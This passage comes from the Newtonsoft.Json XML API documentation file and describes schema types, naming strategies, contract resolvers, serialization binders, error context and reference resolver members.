be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\">\n            <summary>\n            <para>\n            Resolves <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from an id.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaResolver.LoadedSchemas\">\n            <summary>\n            Gets or sets the loaded schemas.\n            </summary>\n            <value>The loaded schemas.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.GetSchema(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.\n            </summary>\n            <param name=\"reference\">The id.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaType\">\n            <summary>\n            <para>\n            The value types allowed by the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.None\">\n            <summary>\n            No type specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.String\">\n            <summary>\n            String type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Float\">\n            <summary>\n            Float type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Integer\">\n            <summary>\n            Integer type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Boolean\">\n            <summary>\n            Boolean type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Object\">\n            <summary>\n            Object type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Array\">\n            <summary>\n            Array type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Null\">\n            <summary>\n            Null type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Any\">\n            <summary>\n            Any type.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling\">\n            <summary>\n            <para>\n            Specifies undefined schema Id handling options for the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.None\">\n            <summary>\n            Do not infer a schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseTypeName\">\n            <summary>\n            Use the .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseAssemblyQualifiedName\">\n            <summary>\n            Use the assembly qualified .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\">\n            <summary>\n            <para>\n            Returns detailed information related to the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Exception\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> associated with the validation error.\n            </summary>\n            <value>The JsonSchemaException associated with the validation error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Path\">\n            <summary>\n            Gets the path of the JSON location where the validation error occurred.\n            </summary>\n            <value>The path of the JSON location where the validation error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Message\">\n            <summary>\n            Gets the text description corresponding to the validation error.\n            </summary>\n            <value>The text description.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\">\n            <summary>\n            <para>\n            Represents the callback method that will handle JSON schema validation events and the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\">\n            <summary>\n            A camel case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\">\n            <summary>\n            Resolves member mappings for a type, camel casing property names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DynamicCodeGeneration\">\n            <summary>\n            Gets a value indicating whether members are being get and set using dynamic code generation.\n            This value is determined by the runtime permissions available.\n            </summary>\n            <value>\n            \t<c>true</c> if using dynamic code generation; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DefaultMembersSearchFlags\">\n            <summary>\n            Gets or sets the default members search flags.\n            </summary>\n            <value>The default members search flags.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.SerializeCompilerGeneratedMembers\">\n            <summary>\n            Gets or sets a value indicating whether compiler generated members should be serialized.\n            </summary>\n            <value>\n            \t<c>true</c> if serialized compiler generated members; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableInterface\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableAttribute\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.SerializableAttribute\"/> attribute when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.SerializableAttribute\"/> attribute will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreIsSpecifiedMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreShouldSerializeMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized.\n            </summary>\n            <value>The naming strategy used to resolve how property names and dictionary keys are serialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetSerializableMembers(System.Type)\">\n            <summary>\n            Gets the serializable members for the type.\n            </summary>\n            <param name=\"objectType\">The type to get serializable members for.</param>\n            <returns>The serializable members for the type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateObjectContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateConstructorParameters(System.Reflection.ConstructorInfo,Newtonsoft.Json.Serialization.JsonPropertyCollection)\">\n            <summary>\n            Creates the constructor parameters.\n            </summary>\n            <param name=\"constructor\">The constructor to create properties for.</param>\n            <param name=\"memberProperties\">The type's member properties.</param>\n            <returns>Properties for the given <see cref=\"T:System.Reflection.ConstructorInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePropertyFromConstructorParameter(Newtonsoft.Json.Serialization.JsonProperty,System.Reflection.ParameterInfo)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.\n            </summary>\n            <param name=\"matchingMemberProperty\">The matching member property.</param>\n            <param name=\"parameterInfo\">The constructor parameter.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContractConverter(System.Type)\">\n            <summary>\n            Resolves the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the contract.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The contract's default <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDictionaryContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateArrayContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePrimitiveContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateLinqContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateISerializableContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateStringContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateContract(System.Type)\">\n            <summary>\n            Determines which contract type is created for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperties(System.Type,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.\n            </summary>\n            <param name=\"type\">The type to create properties for.</param>\n            /// <param name=\"memberSerialization\">The member serialization mode for the type.</param>\n            <returns>Properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateMemberValueProvider(System.Reflection.MemberInfo)\">\n            <summary>\n            Creates the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperty(System.Reflection.MemberInfo,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.\n            </summary>\n            <param name=\"memberSerialization\">The member's parent <see cref=\"T:Newtonsoft.Json.MemberSerialization\"/>.</param>\n            <param name=\"member\">The member to create a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Resolved name of the property.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveExtensionDataName(System.String)\">\n            <summary>\n            Resolves the name of the extension data. By default no changes are made to extension data names.\n            </summary>\n            <param name=\"extensionDataName\">Name of the extension data.</param>\n            <returns>Resolved name of the extension data.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveDictionaryKey(System.String)\">\n            <summary>\n            Resolves the key of the dictionary. By default <see cref=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\"/> is used to resolve dictionary keys.\n            </summary>\n            <param name=\"dictionaryKey\">Key of the dictionary.</param>\n            <returns>Resolved key of the dictionary.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetResolvedPropertyName(System.String)\">\n            <summary>\n            Gets the resolved name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Name of the property.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultNamingStrategy\">\n            <summary>\n            The default naming strategy. Property names and dictionary keys are unchanged.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\">\n            <summary>\n            The default serialization binder used when resolving and loading classes from type names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n            <returns>\n            The type of the object the formatter creates a new instance of.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to the application's <see cref=\"T:System.Diagnostics.TraceListener\"/> instances.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorContext\">\n            <summary>\n            Provides information surrounding an error.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Error\">\n            <summary>\n            Gets the error.\n            </summary>\n            <value>The error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.OriginalObject\">\n            <summary>\n            Gets the original object that caused the error.\n            </summary>\n            <value>The original object that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Member\">\n            <summary>\n            Gets the member that caused the error.\n            </summary>\n            <value>The member that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Path\">\n            <summary>\n            Gets the path of the JSON location where the error occurred.\n            </summary>\n            <value>The path of the JSON location where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Handled\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.ErrorContext\"/> is handled.\n            </summary>\n            <value><c>true</c> if handled; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\">\n            <summary>\n            Provides data for the Error event.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.CurrentObject\">\n            <summary>\n            Gets the current object the error event is being raised against.\n            </summary>\n            <value>The current object the error event is being raised against.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.ErrorContext\">\n            <summary>\n            Gets the error context.\n            </summary>\n            <value>The error context.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ErrorEventArgs.#ctor(System.Object,Newtonsoft.Json.Serialization.ErrorContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\"/> class.\n            </summary>\n            <param name=\"currentObject\">The current object.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\">\n            <summary>\n            Provides methods to get attributes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverObject\" title=\"IContractResolver Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverExample\" title=\"IContractResolver Example\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\">\n            <summary>\n            Used to resolve references when serializing and deserializing JSON by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.ResolveReference(System.Object,System.String)\">\n            <summary>\n            Resolves a reference to its object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference to resolve.</param>\n            <returns>The object that was resolved from the reference.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.GetReference(System.Object,System.Object)\">\n            <summary>\n            Gets the reference for the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to get a reference for.</param>\n            <returns>The reference to the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.IsReferenced(System.Object,System.Object)\">\n            <summary>\n            Determines whether the specified object is referenced.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to test for a reference.</param>\n            <returns>\n            \t<c>true</c> if the specified object is referenced; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.AddReference(System.Object,System.String,System.Object)\">\n            <summary>\n            Adds a reference to the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference.</param>\n            <param name=\"value\">The object to reference.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a 